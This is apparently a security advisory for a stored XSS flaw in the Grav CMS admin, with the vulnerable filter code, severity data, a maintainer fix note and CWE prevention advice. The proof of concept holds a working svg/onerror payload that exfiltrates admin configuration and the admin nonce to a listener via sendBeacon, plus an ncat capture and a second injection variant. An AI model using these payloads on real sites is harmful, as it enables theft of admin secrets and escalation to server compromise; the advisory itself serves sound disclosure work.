Skip to content

GHSA-w8cg-7jcj-4vv2 CVE-2026-42611

Grav is Vulnerable to Stored XSS via Tag Injection

High Packagist
Severity
8.9 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.30%
Chance of exploitation in the next 30 days. Higher than 22.81% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
2.0.0-beta.2
Upgrade getgrav/grav to this version or later

Description

Summary

A low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).

Details

Affected endpoint: admin/pages/<page> Affected code: system/src/Grav/Common/Security.php

    public static function detectXss($string, array $options = null): ?string
    {
        // Skip any null or non string values
        if (null === $string || !is_string($string) || empty($string)) {
            return null;
        }

        if (null === $options) {
            $options = static::getXssDefaults();
        }

        $enabled_rules = (array)($options['enabled_rules'] ?? null);
        $dangerous_tags = (array)($options['dangerous_tags'] ?? null);
        if (!$dangerous_tags) {
            $enabled_rules['dangerous_tags'] = false;
        }
        $invalid_protocols = (array)($options['invalid_protocols'] ?? null);
        if (!$invalid_protocols) {
            $enabled_rules['invalid_protocols'] = false;
        }
        $enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); });
        if (!$enabled_rules) {
            return null;
        }

        // Keep a copy of the original string before cleaning up
        $orig = $string;

        // URL decode
        $string = urldecode($string);

        // Convert Hexadecimals
        $string = (string)preg_replace_callback('!(&#|\\\)[xX]([0-9a-fA-F]+);?!u', static function ($m) {
            return chr(hexdec($m[2]));
        }, $string);

        // Clean up entities
        $string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string);

        // Decode entities
        $string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8');

        // Strip whitespace characters
        $string = preg_replace('!\s!u', ' ', $string);
        $stripped = preg_replace('!\s!u', '', $string);

        // Set the patterns we'll test against
        $patterns = [
            // Match any attribute starting with "on" or xmlns
            'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',

            // Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols
            'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu',

            // Match -moz-bindings
            'moz_binding' => '#-moz-binding[a-z\x00-\x20]*:#u',

            // Match style attributes
            'html_inline_styles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>]*(url\:|x\:expression).*)>?#iUu',

            // Match potentially dangerous tags
            'dangerous_tags' => '#</*(' . implode('|', array_map('preg_quote', $dangerous_tags, ['#'])) . ')[^>]*>?#ui'
        ];

        // Iterate over rules and return label if fail
        foreach ($patterns as $name => $regex) {
            if (!empty($enabled_rules[$name])) {
                if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) {
                    return $name;
                }
            }
        }

        return null;
    }

Specifically the line:

'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',

assumes that the on_events will always begin with either whitespace, ', " which can easily be bypassed with a simple payload like:

<img src=x onload=alert('1')>

This XSS Filter practice is broken.

  1. Blacklisting every possible scenario that leads to XSS isn't possible.
  2. Regex can't parse HTML.

It would be better to use an HTMLPurifier.

PoC

Grav Core + Admin Plugin Grav Version: v1.7.49.5 - Admin v1.10.49.1

  1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages. User Perms

  2. Login as the low-privileged user and browse to pages: Pages

  3. Create a post with the following content:

<svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>

The payload base64 is decoded to:

(async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();

whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the info endpoint and the response will be sent to attacker beacon/listener.

  1. Save Post Created

  2. Start a ncat listener on port 8001.

┌──(kali㉿kali)-[~]
└─$ ncat -lvnp 8001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8001
Ncat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/)
Ncat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/).
  1. Now as a Super Admin visit the / of Grav [http://localhost/grav-admin/](http://localhost/grav-admin/) for me: Visiting Grav

  2. We get a response with the admin-nonce and the entire system information:

┌──(kali㉿kali)-[~]
└─$ ncat -lvnp 8001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8001
Ncat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/)
Ncat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/).
POST /grav-log HTTP/1.1
Host: [127.0.0.1:8001](http://127.0.0.1:8001/)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: text/plain;charset=UTF-8
Content-Length: 127013
Origin: http://localhost/
Connection: keep-alive
Referer: http://localhost/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Priority: u=6

    <!DOCTYPE html>
    <html lang="en">
    <head>
            <meta charset="utf-8" />
        <title>Configuration: Info | Grav</title>
                    <meta name="description" content="">
                            <meta name="robots" content="noindex, nofollow">
                <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="icon" type="image/png" href="/grav-admin/user/plugins/admin/themes/grav/images/favicon.png">

                                   

       
        <script type="text/javascript">
    window.GravAdmin = window.GravAdmin || {};
    window.GravAdmin.config = {
        current_url: '/grav-admin/admin/config/info',
        base_url_relative: '/grav-admin/admin',
        base_url_simple: '/grav-admin',
        route: 'info',
        param_sep: ':',
                enable_auto_updates_check: '1',
                admin_timeout: '1800',
        admin_nonce: '1265db72d897b4324cbe7d1781e66e3b',
       
       
<SNIPPED>

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability exploitable by a low-privileged user, which leads to exfiltration of the admin session context, including the admin_nonce. This nonce can be abused to bypass CSRF protections and authenticate further requests to sensitive admin endpoints. Given Grav’s support for scheduled tasks and extensible plugin architecture, this can be escalated to Remote Code Execution (RCE) under favorable conditions.

Affected Component: Grav Core + Admin Plugin (v1.7.49.5 / v1.10.49.1)
Impact: Full system compromise via RCE chain originating from low-privilege XSS.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H Overall CVSS Score: 9.0 High Impact



Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — will ship in 2.0.0-beta.2. Two changes in tandem:

  1. Regex bypass (detection layer) — the on_events regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details.

  2. Missing dangerous tags — svg, math, option, and select have been added to default security.xss_dangerous_tags in system/config/security.yaml. svg and math allow inline scripting through their XML namespace and event-handler surface; option/select are the tags attackers use to break out of the admin's select-template context before dropping the payload.

Combined with the tightened on_events regex, the PoC <svg>…<script>…</script></svg> (and the GHSA-c2q3 </option></select><img src=x onerror=alert(1)> variant) now trip at least one detector.

Files:

Affected versions

Packagist

PackageVulnerableFixed in
getgrav/grav
< 2.0.0-beta.2
2.0.0-beta.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

getgrav/grav Packagist → 2.0.0-beta.2

composer
composer require getgrav/grav:^2.0.0-beta.2

Severity breakdown

CVSS 3.1 8.9

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
High

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xjw5-q542-3vmr
Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled
High Also affects getgrav/grav
GHSA-3jhr-mxmx-38cx
Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet()
Medium Also affects getgrav/grav
GHSA-9ccq-2jfg-qw33
Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match
Critical Also affects getgrav/grav
GHSA-38p6-h87p-r4cg
Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection
Medium Also affects getgrav/grav
GHSA-p597-crqc-m349
Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths
Medium Also affects getgrav/grav
GHSA-47ch-6w46-6xm7
Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content
Medium Also affects getgrav/grav
GHSA-jq29-c7v8-rg55
Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion
High Also affects getgrav/grav
GHSA-8hgv-xc77-jmcr
Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin
Medium Also affects getgrav/grav
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor